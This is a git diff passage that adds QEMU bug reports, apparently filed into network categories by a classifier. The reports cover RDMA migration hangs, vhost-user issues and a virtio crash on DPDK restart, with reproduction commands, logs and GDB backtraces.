/sys/class/infiniband/mlx4_0, transport: (2) Ethernet +qemu-system-x86_64: Length mismatch: pc.ram: 0x7d000000 in != 0x3e800000: Invalid argument +qemu-system-x86_64: error while loading state for instance 0x0 of device 'ram' + +This is to be expected, however, at this point QEMU has hung and no longer responds to the monitor + +GDB shows the target host is stuck in this callpath + +#0 0x00007ffff39141cd in write () at ../sysdeps/unix/syscall-template.S:81 +#1 0x00007ffff27fe795 in rdma_get_cm_event.part.15 () from /lib64/librdmacm.so.1 +#2 0x000055555593e445 in qemu_rdma_cleanup (rdma=0x7fff9647e010) at migration/rdma.c:2210 +#3 0x000055555593ea45 in qemu_rdma_close (opaque=0x555557796770) at migration/rdma.c:2652 +#4 0x00005555559397cc in qemu_fclose (f=f@entry=0x5555564b1450) at migration/qemu-file.c:270 +#5 0x0000555555936b88 in process_incoming_migration_co (opaque=0x5555564b1450) at migration/migration.c:361 +#6 0x0000555555a25a1a in coroutine_trampoline (i0=<optimized out>, i1=<optimized out>) at util/coroutine-ucontext.c:79 +#7 0x00007fffef5b3110 in ?? () from /lib64/libc.so.6 + + + +Now, back on the source host again, you would expect to see that the migrate command failed. Instead, this QEMU is hung too. + +GDB shows the source host, migrate thread, is stuck in this callpath: + +#0 0x00007ffff391522d in read#1 0x00007ffff00efd93 in ibv_get_cq_event () at /lib64/libibverbs.so.1 +#2 0x00005555559403f2 in qemu_rdma_block_for_wrid (rdma=rdma@entry=0x7fff3d07e010, wrid_requested=wrid_requested@entry=4000, byte_len=byte_len@entry=0x7fff39de370c) at migration/rdma.c:1511 +#3 0x000055555594058a in qemu_rdma_exchange_get_response (rdma=0x7fff3d07e010, head=head@entry=0x7fff39de3780, expecting=expecting@entry=2, idx=idx@entry=0) + at migration/rdma.c:1648 +#4 0x0000555555941e71 in qemu_rdma_exchange_send (rdma=0x7fff3d07e010, head=0x7fff39de3840, data=0x0, resp=0x7fff39de3870, resp_idx=0x7fff39de3880, callback=0x0) at migration/rdma.c:1725 +#5 0x00005555559447e4 in qemu_rdma_registration_stop (f=<optimized out>, opaque=<optimized out>, flags=0, data=<optimized out>) at migration/rdma.c:3302 +#6 0x000055555593bc4b in ram_control_after_iterate (f=f@entry=0x5555564c20f0, flags=flags@entry=0) at migration/qemu-file.c:157 +#7 0x0000555555740b59 in ram_save_setup (f=0x5555564c20f0, opaque=<optimized out>) at /home/berrange/src/virt/qemu/migration/ram.c:1959 +#8 0x00005555557451c1 in qemu_savevm_state_begin (f=0x5555564c20f0, params=params@entry=0x555555f6f048 <current_migration.37991+72>) + at /home/berrange/src/virt/qemu/migration/savevm.c:919 +#9 0x00005555559381a5 in migration_thread (opaque=0x555555f6f000 <current_migration.37991>) at migration/migration.c:1633 +#10 0x00007ffff390edc5 in start_thread (arg=0x7fff39de4700) at pthread_create.c:308 + + +It should have aborted migrate and set the status to failed. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1546445 b/results/classifier/gemma3:12b/network/1546445 new file mode 100644 index 000000000..f35423308 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1546445 @@ -0,0 +1,22 @@ + +support vhost user without specifying vhostforce + +[Impact] + + * vhost-user falls back to virtio-net which causes performance lose without specifying the vhostforce option. But it should be the default behavior for vhost-user, since guests using PMD doesn't support msi-x. + +[Test Case] + + create a vhost-user virtio backend without specifying the vhostforce option, i.e. -netdev type=vhost-user,id=mynet1,chardev=<char_dev_for_the_controll_channel> + start the VM + vhost-user is not enabled + +[Regression Potential] + + * none + +vhost user nic doesn't support non msi guests(like pxe stage) by default. +Vhost user nic can't fall back to qemu like normal vhost net nic does. So we should +enable it for non msi guests. + +The problem has been fix in qemu upstream - http://git.qemu.org/?p=qemu.git;a=commitdiff;h=24f938a682d934b133863eb421aac33592f7a09e. And the patch needs to be backported to 1:2.2+dfsg-5expubuntu9.8 . \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1556306 b/results/classifier/gemma3:12b/network/1556306 new file mode 100644 index 000000000..71c5f1306 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1556306 @@ -0,0 +1,25 @@ + + vhost-user: qemu stops processing packets under high load of traffic + +Description of problem: +- qemu socket becomes full, causing qemu to send incomplete +SET_VRING_CALL messages to vhost-user backend (without proper fd set in +ancillary data). +- after some time, some interrupts are lost, causing the VM to stop +transmitting packets. + +How reproducible: +Run a stress tests of a vhost-user interface using an UDP +traffic generator. Traffic generator (IXIA) was connected to 2 physical ports that are in turn connected to 2 virtio ports through a linux bridge, VM +(running linux) doing routing to forward packets between the 2 virtio ports. +When traffic reaches high pps rates of small packets, + +Actual results: +- VM stop transmitting packets + +Expected results: +- VM should never stop transmitting packets + +Additional info: +We do propose a fix at: + http://lists.nongnu.org/archive/html/qemu-devel/2015-12/msg00652.html \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1558175 b/results/classifier/gemma3:12b/network/1558175 new file mode 100644 index 000000000..0f0aa5a01 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1558175 @@ -0,0 +1,416 @@ + +virtio: vm killed (Guest moved used index) + +Hello, + +I ran a DPDK application with virtio ports. If I killed and relaunched it, VM is +killed by qemu with the following message: +> qemu-system-x86_64: Guest moved used index from 571 to 0 + +If I ran the same application with e1000 ports, I haven't this issue. + +Network topology +================ + +I used two VM machines with last qemu-2.5 with two virtio-net netdevs. Both +netdevs are connected through a VDE switch. + +On testnode, I used a Debian 8 (3.16) and virtio-net linux drivers. On DUT, I +used a Ubuntu 14.04 (3.13) with DPDK (next/16_04) with virtio pmd. + ++-------------------------------------------------------------+ +| | +| +-------------+ +-------------------+ | +| | | | | | +| | Testnode | | DUT | | +| | Debian 8 | | Ubuntu 14.04 | | +| | | +----------+ | | | +| | eth0 +----+ VDE +----+ eth0 pmd_virtio | | +| | virtio | +----------+ | 00:04.0 | | +| | | | DE:ED:01:0C:DD:CC | | +| | | | | | +| | | +----------+ | | | +| | eth1 +----+ VDE +----+ eth1 pmd_virtio | | +| | virtio | +----------+ | 00:05.0 | | +| | | | DE:ED:02:04:01:60 | | +| | | | | | +| +-------------+ +-------------------+ | +| qemu 2.5 qemu 2.5 | +| | +| | +| Hypervisor | +| Debian 8 | +| Kernel 3.16 | ++-------------------------------------------------------------+ + +Steps +===== + +1. Start a DPDK application using virtio ports +2. Send traffic over those ports (using ping flood ...) +3. Kill this DPDK application (sending SIGKILL, making it crash etc...) +4. Restart this DPDK application with the same configuration +5. During EAL initialization, if an incoming packet is received on a virtio + port, qemu exits (error code 1) with the following message: +> qemu-system-x86_64: Guest moved used index from 571 to 0 + +NOTE: This issue is *NOT* seen with e1000 interface + +Configuration +============= + +Hypervisor +----------- +Debian 8 +Kernel 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt11-1+deb8u5 + +Qemu +---- + +qemu 2.5 (vanilla) +./configure --enable-kvm --enable-vhost-net --enable-vde --target-list="x86_64-softmmu" --enable-debug --extra-cflags="-O0 -g" + +> qemu-system-x86_64 -k fr --enable-kvm -m 4G -cpu host -smp \ + sockets=1,cores=1,threads=2 -serial telnet::46528,server,nowait -serial null \ + -qmp tcp::47257,server,nowait -monitor telnet::59305,server,nowait -hda \ + "/opt/vm/ubuntu-14.04-template.qcow2" -snapshot -vga none -display none \ + -netdev vde,id=tapdeed01417a99,sock=L.vdesock -device \ + virtio-net,mac=DE:ED:01:0C:DD:CC,addr=04,netdev=tapdeed01417a99 -netdev \ + vde,id=tapdeed021a7b37,sock=R.vdesock -device \ + virtio-net,mac=DE:ED:02:04:01:60,addr=05,netdev=tapdeed021a7b37 + +On Testnode +----------- + +Configure interface to send continuous traffic to PMD +> ip link set dev eth0 up +> ip addr add 1.1.1.1/24 dev eth0 +> ip neigh add 1.1.1.2 lladdr DE:ED:01:0C:DD:CC dev eth0 +> ping -q -f 1.1.1.2 + +On DUT +------ + +Configure and start testpmd (a standard DPDK application) + +> modprobe uio +> modprobe igb_uio +> mkdir -p /mnt/huge +> mount -t hugetlbfs nodev /mnt/huge +> echo 64 > /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages +> dpdk_nic_bind --bind=igb_uio 0000:00:04.0 +> dpdk_nic_bind --bind=igb_uio 0000:00:05.0 +> testpmd --huge-dir=/mnt/huge -n 4 -l 0-1 --socket-mem 128 -w 0000:00:04.0 \ + -w 0000:00:05.0 --log-level 8 -- -i --nb-cores=1 --nb-ports=2\ + --total-num-mbufs=1025 +EAL: Detected lcore 0 as core 0 on socket 0 +EAL: Detected lcore 1 as core 0 on socket 0 +EAL: Support maximum 255 logical core(s) by configuration. +EAL: Detected 2 lcore(s) +EAL: Probing VFIO support... +EAL: Module /sys/module/vfio_pci not found! error 2 (No such file or directory) +EAL: VFIO modules not loaded, skipping VFIO support... +EAL: Setting up physically contiguous memory... +EAL: Ask a virtual area of 0x4600000 bytes +EAL: Virtual area found at 0x7fbcbf000000 (size = 0x4600000) +EAL: Ask a virtual area of 0xc00000 bytes +EAL: Virtual area found at 0x7fbcbe200000 (size = 0xc00000) +EAL: Ask a virtual area of 0x400000 bytes +EAL: Virtual area found at 0x7fbcbdc00000 (size = 0x400000) +EAL: Ask a virtual area of 0x200000 bytes +EAL: Virtual area found at 0x7fbcbd800000 (size = 0x200000) +EAL: Ask a virtual area of 0x200000 bytes +EAL: Virtual area found at 0x7fbcbd400000 (size = 0x200000) +EAL: Ask a virtual area of 0x1c00000 bytes +EAL: Virtual area found at 0x7fbcbb600000 (size = 0x1c00000) +EAL: Ask a virtual area of 0x600000 bytes +EAL: Virtual area found at 0x7fbcbae00000 (size = 0x600000) +EAL: Ask a virtual area of 0x200000 bytes +EAL: Virtual area found at 0x7fbcbaa00000 (size = 0x200000) +EAL: Ask a virtual area of 0x200000 bytes +EAL: Virtual area found at 0x7fbcba600000 (size = 0x200000) +EAL: Requesting 64 pages of size 2MB from socket 0 +EAL: TSC frequency is ~3192572 KHz +EAL: WARNING: cpu flags constant_tsc=yes nonstop_tsc=no -> using unreliable clock cycles ! +EAL: Master lcore 0 is ready (tid=c5707900;cpuset=[0]) +EAL: lcore 1 is ready (tid=c3ffd700;cpuset=[1]) +EAL: PCI device 0000:00:04.0 on NUMA socket -1 +EAL: probe driver: 1af4:1000 rte_virtio_pmd +EAL: PCI memory mapped at 0x7fbcc3600000 +PMD: virtio_read_caps(): [40] skipping non VNDR cap id: 11 +PMD: virtio_read_caps(): no modern virtio pci device found. +PMD: vtpci_init(): trying with legacy virtio pci. +PMD: virtio_resource_init_by_uio(): PCI Port IO found start=0xc020 with size=0x20 +PMD: virtio_negotiate_features(): guest_features before negotiate = 100cf8020 +PMD: virtio_negotiate_features(): host_features before negotiate = 79bf8064 +PMD: virtio_negotiate_features(): features after negotiate = 8f8020 +PMD: eth_virtio_dev_init(): PORT MAC: DE:ED:01:0C:DD:CC +PMD: eth_virtio_dev_init(): VIRTIO_NET_F_MQ is not supported +PMD: virtio_dev_cq_queue_setup(): >> +PMD: virtio_dev_queue_setup(): setting up queue: 2 +PMD: virtio_dev_queue_setup(): vq_size: 64 nb_desc:0 +PMD: virtio_dev_queue_setup(): vring_size: 4612, rounded_vring_size: 8192 +PMD: virtio_dev_queue_setup(): vq->vq_ring_mem: 0x134f35000 +PMD: virtio_dev_queue_setup(): vq->vq_ring_virt_mem: 0x7fbcbaf35000 +PMD: eth_virtio_dev_init(): config->max_virtqueue_pairs=1 +PMD: eth_virtio_dev_init(): config->status=1 +PMD: eth_virtio_dev_init(): PORT MAC: DE:ED:01:0C:DD:CC +PMD: eth_virtio_dev_init(): hw->max_rx_queues=1 hw->max_tx_queues=1 +PMD: eth_virtio_dev_init(): port 0 vendorID=0x1af4 deviceID=0x1000 +PMD: virtio_dev_vring_start(): >> +PMD: virtio_dev_cq_start(): VQ: - size=64; free=64; used=0; desc_head_idx=0; avail.idx=0; used_cons_idx=0; used.idx=0; avail.flags=0x1; used.flags=0x0 +EAL: PCI device 0000:00:05.0 on NUMA socket -1 +EAL: probe driver: 1af4:1000 rte_virtio_pmd +EAL: PCI memory mapped at 0x7fbcc3601000 +PMD: virtio_read_caps(): [40] skipping non VNDR cap id: 11 +PMD: virtio_read_caps(): no modern virtio pci device found. +PMD: vtpci_init(): trying with legacy virtio pci. +PMD: virtio_resource_init_by_uio(): PCI Port IO found start=0xc040 with size=0x20 +PMD: virtio_negotiate_features(): guest_features before negotiate = 100cf8020 +PMD: virtio_negotiate_features(): host_features before negotiate = 79bf8064 +PMD: virtio_negotiate_features(): features after negotiate = 8f8020 +PMD: eth_virtio_dev_init(): PORT MAC: DE:ED:02:04:01:60 +PMD: eth_virtio_dev_init(): VIRTIO_NET_F_MQ is not supported +PMD: virtio_dev_cq_queue_setup(): >> +PMD: virtio_dev_queue_setup(): setting up queue: 2 +PMD: virtio_dev_queue_setup(): vq_size: 64 nb_desc:0 +PMD: virtio_dev_queue_setup(): vring_size: 4612, rounded_vring_size: 8192 +PMD: virtio_dev_queue_setup(): vq->vq_ring_mem: 0x134f30000 +PMD: virtio_dev_queue_setup(): vq->vq_ring_virt_mem: 0x7fbcbaf30000 +PMD: eth_virtio_dev_init(): config->max_virtqueue_pairs=1 +PMD: eth_virtio_dev_init(): config->status=1 +PMD: eth_virtio_dev_init(): PORT MAC: DE:ED:02:04:01:60 +PMD: eth_virtio_dev_init(): hw->max_rx_queues=1 hw->max_tx_queues=1 +PMD: eth_virtio_dev_init(): port 1 vendorID=0x1af4 deviceID=0x1000 +PMD: virtio_dev_vring_start(): >> +PMD: virtio_dev_cq_start(): VQ: - size=64; free=64; used=0; desc_head_idx=0; avail.idx=0; used_cons_idx=0; used.idx=0; avail.flags=0x1; used.flags=0x0 +Interactive-mode selected +Configuring Port 0 (socket 0) +PMD: virtio_dev_configure(): configure +PMD: virtio_dev_tx_queue_setup(): >> +PMD: virtio_dev_queue_setup(): setting up queue: 1 +PMD: virtio_dev_queue_setup(): vq_size: 256 nb_desc:512 +PMD: virtio_dev_queue_setup(): vring_size: 10244, rounded_vring_size: 12288 +PMD: virtio_dev_queue_setup(): vq->vq_ring_mem: 0x134eac000 +PMD: virtio_dev_queue_setup(): vq->vq_ring_virt_mem: 0x7fbcbaeac000 +PMD: virtio_dev_rx_queue_setup(): >> +PMD: virtio_dev_queue_setup(): setting up queue: 0 +PMD: virtio_dev_queue_setup(): vq_size: 256 nb_desc:128 +PMD: virtio_dev_queue_setup(): vring_size: 10244, rounded_vring_size: 12288 +PMD: virtio_dev_queue_setup(): vq->vq_ring_mem: 0x134ea6000 +PMD: virtio_dev_queue_setup(): vq->vq_ring_virt_mem: 0x7fbcbaea6000 +PMD: virtio_dev_link_update(): Get link status from hw +PMD: virtio_dev_link_update(): Port 0 is up +PMD: virtio_dev_rxtx_start(): >> +PMD: virtio_dev_vring_start(): >> +PMD: virtio_dev_vring_start(): Allocated 256 bufs +PMD: virtio_dev_rxtx_start(): VQ: - size=256; free=0; used=0; desc_head_idx=32768; avail.idx=256; used_cons_idx=0; used.idx=0; avail.flags=0x1; used.flags=0x0 +PMD: virtio_dev_vring_start(): >> +PMD: virtio_dev_rxtx_start(): VQ: - size=256; free=256; used=0; desc_head_idx=0; avail.idx=0; used_cons_idx=0; used.idx=0; avail.flags=0x1; used.flags=0x0 +PMD: virtio_dev_start(): nb_queues=1 +PMD: virtio_dev_start(): Notified backend at initialization +PMD: virtio_dev_start(): VQ: - size=256; free=0; used=0; desc_head_idx=32768; avail.idx=256; used_cons_idx=0; used.idx=0; avail.flags=0x1; used.flags=0x0 +PMD: virtio_dev_start(): VQ: - size=256; free=256; used=0; desc_head_idx=0; avail.idx=0; used_cons_idx=0; used.idx=0; avail.flags=0x1; used.flags=0x0 +rte_eth_dev_config_restore: port 0: MAC address array not supported +PMD: virtio_send_command(): vq->vq_desc_head_idx = 0, status = 255, vq->hw->cvq = 0x7fbcbaf37880 vq = 0x7fbcbaf37880 +PMD: virtio_send_command(): vq->vq_queue_index = 2 +PMD: virtio_send_command(): vq->vq_free_cnt=64 +vq->vq_desc_head_idx=0 +PMD: virtio_send_command(): vq->vq_desc_head_idx = 0, status = 255, vq->hw->cvq = 0x7fbcbaf37880 vq = 0x7fbcbaf37880 +PMD: virtio_send_command(): vq->vq_queue_index = 2 +PMD: virtio_send_command(): vq->vq_free_cnt=64 +vq->vq_desc_head_idx=0 +PMD: virtio_dev_link_update(): Get link status from hw +PMD: virtio_dev_link_update(): Port 0 is up +Port 0: DE:ED:01:0C:DD:CC +Configuring Port 1 (socket 0) +PMD: virtio_dev_configure(): configure +PMD: virtio_dev_tx_queue_setup(): >> +PMD: virtio_dev_queue_setup(): setting up queue: 1 +PMD: virtio_dev_queue_setup(): vq_size: 256 nb_desc:512 +PMD: virtio_dev_queue_setup(): vring_size: 10244, rounded_vring_size: 12288 +PMD: virtio_dev_queue_setup(): vq->vq_ring_mem: 0x134ea1000 +PMD: virtio_dev_queue_setup(): vq->vq_ring_virt_mem: 0x7fbcbaea1000 +PMD: virtio_dev_rx_queue_setup(): >> +PMD: virtio_dev_queue_setup(): setting up queue: 0 +PMD: virtio_dev_queue_setup(): vq_size: 256 nb_desc:128 +PMD: virtio_dev_queue_setup(): vring_size: 10244, rounded_vring_size: 12288 +PMD: virtio_dev_queue_setup(): vq->vq_ring_mem: 0x134e9c000 +PMD: virtio_dev_queue_setup(): vq->vq_ring_virt_mem: 0x7fbcbae9c000 +PMD: virtio_dev_link_update(): Get link status from hw +PMD: virtio_dev_link_update(): Port 1 is up +PMD: virtio_dev_rxtx_start(): >> +PMD: virtio_dev_vring_start(): >> +PMD: virtio_dev_vring_start(): Allocated 256 bufs +PMD: virtio_dev_rxtx_start(): VQ: - size=256; free=0; used=0; desc_head_idx=32768; avail.idx=256; used_cons_idx=0; used.idx=0; avail.flags=0x1; used.flags=0x0 +PMD: virtio_dev_vring_start(): >> +PMD: virtio_dev_rxtx_start(): VQ: - size=256; free=256; used=0; desc_head_idx=0; avail.idx=0; used_cons_idx=0; used.idx=0; avail.flags=0x1; used.flags=0x0 +PMD: virtio_dev_start(): nb_queues=1 +PMD: virtio_dev_start(): Notified backend at initialization +PMD: virtio_dev_start(): VQ: - size=256; free=0; used=0; desc_head_idx=32768; avail.idx=256; used_cons_idx=0; used.idx=0; avail.flags=0x1; used.flags=0x0 +PMD: virtio_dev_start(): VQ: - size=256; free=256; used=0; desc_head_idx=0; avail.idx=0; used_cons_idx=0; used.idx=0; avail.flags=0x1; used.flags=0x0 +rte_eth_dev_config_restore: port 1: MAC address array not supported +PMD: virtio_send_command(): vq->vq_desc_head_idx = 0, status = 255, vq->hw->cvq = 0x7fbcbaf325c0 vq = 0x7fbcbaf325c0 +PMD: virtio_send_command(): vq->vq_queue_index = 2 +PMD: virtio_send_command(): vq->vq_free_cnt=64 +vq->vq_desc_head_idx=0 +PMD: virtio_send_command(): vq->vq_desc_head_idx = 0, status = 255, vq->hw->cvq = 0x7fbcbaf325c0 vq = 0x7fbcbaf325c0 +PMD: virtio_send_command(): vq->vq_queue_index = 2 +PMD: virtio_send_command(): vq->vq_free_cnt=64 +vq->vq_desc_head_idx=0 +PMD: virtio_dev_link_update(): Get link status from hw +PMD: virtio_dev_link_update(): Port 1 is up +Port 1: DE:ED:02:04:01:60 +Checking link statuses... +PMD: virtio_dev_link_update(): Get link status from hw +PMD: virtio_dev_link_update(): Port 0 is up +PMD: virtio_dev_link_update(): Get link status from hw +PMD: virtio_dev_link_update(): Port 1 is up +PMD: virtio_dev_link_update(): Get link status from hw +PMD: virtio_dev_link_update(): Port 0 is up +Port 0 Link Up - speed 10000 Mbps - full-duplex +PMD: virtio_dev_link_update(): Get link status from hw +PMD: virtio_dev_link_update(): Port 1 is up +Port 1 Link Up - speed 10000 Mbps - full-duplex +Done +PMD: virtio_send_command(): vq->vq_desc_head_idx = 0, status = 255, vq->hw->cvq = 0x7fbcbaf37880 vq = 0x7fbcbaf37880 +PMD: virtio_send_command(): vq->vq_queue_index = 2 +PMD: virtio_send_command(): vq->vq_free_cnt=64 +vq->vq_desc_head_idx=0 +PMD: virtio_send_command(): vq->vq_desc_head_idx = 0, status = 255, vq->hw->cvq = 0x7fbcbaf325c0 vq = 0x7fbcbaf325c0 +PMD: virtio_send_command(): vq->vq_queue_index = 2 +PMD: virtio_send_command(): vq->vq_free_cnt=64 +vq->vq_desc_head_idx=0 +testpmd> start + io packet forwarding - CRC stripping disabled - packets/burst=32 + nb forwarding cores=1 - nb forwarding ports=2 + RX queues=1 - RX desc=128 - RX free threshold=0 + RX threshold registers: pthresh=0 hthresh=0 wthresh=0 + TX queues=1 - TX desc=512 - TX free threshold=0 + TX threshold registers: pthresh=0 hthresh=0 wthresh=0 + TX RS bit threshold=0 - TXQ flags=0xf00 + +... +[wait a few seconds] +... + +Kill the application +> kill -9 $(pidof testpmd) (On another shell) + +Relaunch the application +> testpmd --huge-dir=/mnt/huge -n 4 -l 0-1 --socket-mem 128 -w 0000:00:04.0 \ + -w 0000:00:05.0 --log-level 8 -- -i --nb-cores=1 --nb-ports=2 \ + --total-num-mbufs=1025 +EAL: Detected lcore 0 as core 0 on socket 0 +EAL: Detected lcore 1 as core 0 on socket 0 +EAL: Support maximum 255 logical core(s) by configuration. +EAL: Detected 2 lcore(s) +EAL: Probing VFIO support... +EAL: Module /sys/module/vfio_pci not found! error 2 (No such file or directory) +EAL: VFIO modules not loaded, skipping VFIO support... +EAL: Setting up physically contiguous memory... +EAL: Ask a virtual area of 0x4400000 bytes +EAL: Virtual area found at 0x7f86cde00000 (size = 0x4400000) +EAL: Ask a virtual area of 0x400000 bytes +EAL: Virtual area found at 0x7f86cd800000 (size = 0x400000) +EAL: Ask a virtual area of 0x400000 bytes +EAL: Virtual area found at 0x7f86cd200000 (size = 0x400000) +EAL: Ask a virtual area of 0x200000 bytes +EAL: Virtual area found at 0x7f86cce00000 (size = 0x200000) +EAL: Ask a virtual area of 0xc00000 bytes +EAL: Virtual area found at 0x7f86cc000000 (size = 0xc00000) +EAL: Ask a virtual area of 0x1c00000 bytes +EAL: Virtual area found at 0x7f86ca200000 (size = 0x1c00000) +EAL: Ask a virtual area of 0x600000 bytes +EAL: Virtual area found at 0x7f86c9a00000 (size = 0x600000) +EAL: Ask a virtual area of 0x400000 bytes +EAL: Virtual area found at 0x7f86c9400000 (size = 0x400000) +EAL: Requesting 64 pages of size 2MB from socket 0 +... + +VM has been killed by qemu with the following error +> qemu-system-x86_64: Guest moved used index from 570 to 0 + +Debugging +--------- + +With GDB, I have got this backtrace for Qemu + +(gdb) bt full +#0 __GI_exit (status=1) at exit.c:104 +No locals. +#1 0x00007f13cb53412e in virtqueue_num_heads (vq=0x7f13ce28d4c0, idx=592) + at /tmp/qemu/qemu-2.5.0/hw/virtio/virtio.c:320 + num_heads = 64944 +#2 0x00007f13cb53444e in virtqueue_get_avail_bytes (vq=0x7f13ce28d4c0, in_bytes=0x7fff5c036270, + out_bytes=0x7fff5c036274, max_in_bytes=110, max_out_bytes=0) at /tmp/qemu/qemu-2.5.0/hw/virtio/virtio.c:381 + idx = 592 + total_bufs = 0 + in_total = 0 + out_total = 0 +#3 0x00007f13cb5344b6 in virtqueue_avail_bytes (vq=0x7f13ce28d4c0, in_bytes=110, out_bytes=0) + at /tmp/qemu/qemu-2.5.0/hw/virtio/virtio.c:447 + in_total = 1543725744 + out_total = 32767 +#4 0x00007f13cb51ad6b in virtio_net_has_buffers (q=0x7f13ce22cea0, bufsize=110) + at /tmp/qemu/qemu-2.5.0/hw/net/virtio-net.c:899 + n = 0x7f13cda08f18 +#5 0x00007f13cb51b37d in virtio_net_receive (nc=0x7f13cdf96490, + buf=0x7fff5c057580 "\336\355\001\246\223t\336\355\001\211\371\360\b", size=98) + at /tmp/qemu/qemu-2.5.0/hw/net/virtio-net.c:1037 + n = 0x7f13cda08f18 + q = 0x7f13ce22cea0 + vdev = 0x7f13cda08f18 + __func__ = "virtio_net_receive" + mhdr_sg = {{iov_base = 0x7f1365fda43e, iov_len = 2}, {iov_base = 0x0, iov_len = 0} <repeats 1023 times>} + mhdr = {hdr = {flags = 0 '\000', gso_type = 0 '\000', hdr_len = 0, gso_size = 0, csum_start = 0, + csum_offset = 0}, num_buffers = 1} + mhdr_cnt = 0 + offset = 98 + i = 1 + guest_offset = 12 + __PRETTY_FUNCTION__ = "virtio_net_receive" +#6 0x00007f13cb75da86 in nc_sendv_compat (nc=0x7f13cdf96490, iov=0x7fff5c057440, iovcnt=1, flags=0) at net/net.c:717 + buf = '\000' <repeats 416 times>... + buffer = 0x7fff5c057580 "\336\355\001\246\223t\336\355\001\211\371\360\b" + offset = 98 +#7 0x00007f13cb75db3e in qemu_deliver_packet_iov (sender=0x7f13cc902eb0, flags=0, iov=0x7fff5c057440, iovcnt=1, + opaque=0x7f13cdf96490) at net/net.c:741 + nc = 0x7f13cdf96490 + ret = 0 +#8 0x00007f13cb75fa5f in qemu_net_queue_deliver (queue=0x7f13cdf966b0, sender=0x7f13cc902eb0, flags=0, + data=0x7fff5c057580 "\336\355\001\246\223t\336\355\001\211\371\360\b", size=98) at net/queue.c:163 + ret = -1 + iov = {iov_base = 0x7fff5c057580, iov_len = 98} +#9 0x00007f13cb75fb7b in qemu_net_queue_send (queue=0x7f13cdf966b0, sender=0x7f13cc902eb0, flags=0, + data=0x7fff5c057580 "\336\355\001\246\223t\336\355\001\211\371\360\b", size=98, sent_cb=0x0) at net/queue.c:198 + ret = 139722994604174 +#10 0x00007f13cb75d8d9 in qemu_send_packet_async_with_flags (sender=0x7f13cc902eb0, flags=0, + buf=0x7fff5c057580 "\336\355\001\246\223t\336\355\001\211\371\360\b", size=98, sent_cb=0x0) at net/net.c:677 + queue = 0x7f13cdf966b0 + ret = 0 +#11 0x00007f13cb75d911 in qemu_send_packet_async (sender=0x7f13cc902eb0, + buf=0x7fff5c057580 "\336\355\001\246\223t\336\355\001\211\371\360\b", size=98, sent_cb=0x0) at net/net.c:684 +No locals. +#12 0x00007f13cb75d93e in qemu_send_packet (nc=0x7f13cc902eb0, + buf=0x7fff5c057580 "\336\355\001\246\223t\336\355\001\211\371\360\b", size=98) at net/net.c:690 +No locals. +#13 0x00007f13cb76b49e in vde_to_qemu (opaque=0x7f13cc902eb0) at net/vde.c:47 + s = 0x7f13cc902eb0 + buf = "[...]" + size = 98 +[...] + +According to GDB, there is no available vring +(gdb) up +#1 0x00007f13cb53412e in virtqueue_num_heads (vq=0x7f13ce28d4c0, idx=592) + at /tmp/qemu/qemu-2.5.0/hw/virtio/virtio.c:320 +320 exit(1); +(gdb) p num_heads +$1 = 64944 +(gdb) p vq->vring.num +$2 = 256 +(gdb) p idx +$3 = 592 +(gdb) p vring_avail_idx(vq) +$5 = 0 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1560 b/results/classifier/gemma3:12b/network/1560 new file mode 100644 index 000000000..625d63ecc --- /dev/null +++ b/results/classifier/gemma3:12b/network/1560 @@ -0,0 +1,2 @@ + +SLIRP hostfwd_add ignores bind address and uses `INADDR_ANY` diff --git a/results/classifier/gemma3:12b/network/1567 b/results/classifier/gemma3:12b/network/1567 new file mode 100644 index 000000000..c4415411a --- /dev/null +++ b/results/classifier/gemma3:12b/network/1567 @@ -0,0 +1,35 @@ + +On windows, storage daemon does not support daemonize +Description of problem: +Presently, in order to run qemu-storage-daemon on windows, one has to login and run it in a terminal window that is kept open. + +# +Steps to reproduce: +just run the command +Additional information: +https://gitlab.com/qemu-project/qemu/-/blob/master/storage-daemon/qemu-storage-daemon.c#L299 +``` + case OPTION_DAEMONIZE: + if (os_set_daemonize(true) < 0) { + /* + * --daemonize is parsed before monitor_init_globals(), so + * error_report() does not work yet + */ + fprintf(stderr, "--daemonize not supported in this build\n"); + exit(EXIT_FAILURE); + } +``` +https://gitlab.com/qemu-project/qemu/-/blob/master/include/sysemu/os-win32.h#L114 +``` +static inline int os_set_daemonize(bool d) +{ + if (d) { + return -ENOTSUP; + } + return 0; +} +``` + +- Recently Marc has added windows socket support + 20230313 marcandre.lureau [PULL 00/25] Win socket patches + https://lore.kernel.org/qemu-devel/20230313114335.424093-1-marcandre.lureau@redhat.com/ diff --git a/results/classifier/gemma3:12b/network/1569988 b/results/classifier/gemma3:12b/network/1569988 new file mode 100644 index 000000000..54120c7ad --- /dev/null +++ b/results/classifier/gemma3:12b/network/1569988 @@ -0,0 +1,8 @@ + +[2.6] user network broken reaching foreign servers on Win64 + +Both on master and, starting with 2016-03-22 builds from http://qemu.weilnetz.de/w64/, user mode network can't reach foreign servers. For example, wget http://mifritscher resolves the DNS, but then the message "network target couldn't be reached" occures. 2016-03-03 works fine. I suspect the IPv6 changes. My connection is IPv4 only. + +I tested via knoppix 7.6. The command line is + +qemu-system-x86_64.exe -m 512 -k de --cdrom c:\Users\michaelfritscher\Downloads\linux\KNOPPIX_V7.4.2DVD-2014-09-28-DE.iso -netdev user,id=mynet0,restrict=n -device e1000,netdev=mynet0 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1573 b/results/classifier/gemma3:12b/network/1573 new file mode 100644 index 000000000..ce39874fd --- /dev/null +++ b/results/classifier/gemma3:12b/network/1573 @@ -0,0 +1,2 @@ + +TCP Previous segment not captured diff --git a/results/classifier/gemma3:12b/network/1574327 b/results/classifier/gemma3:12b/network/1574327 new file mode 100644 index 000000000..58f66d16e --- /dev/null +++ b/results/classifier/gemma3:12b/network/1574327 @@ -0,0 +1,17 @@ + +qemu-system-x86_64 -net nic,model=help outputs to stderr instead of std + +qemu-system-x86_64 -net nic,model=help + +output comes to stderr instead of std + + +qemu-system-x86_64 -net nic,model=help -> stdout +qemu-system-x86_64 -machine help -> stdout +qemu-system-x86_64 -cpu help -> stdout + +as of 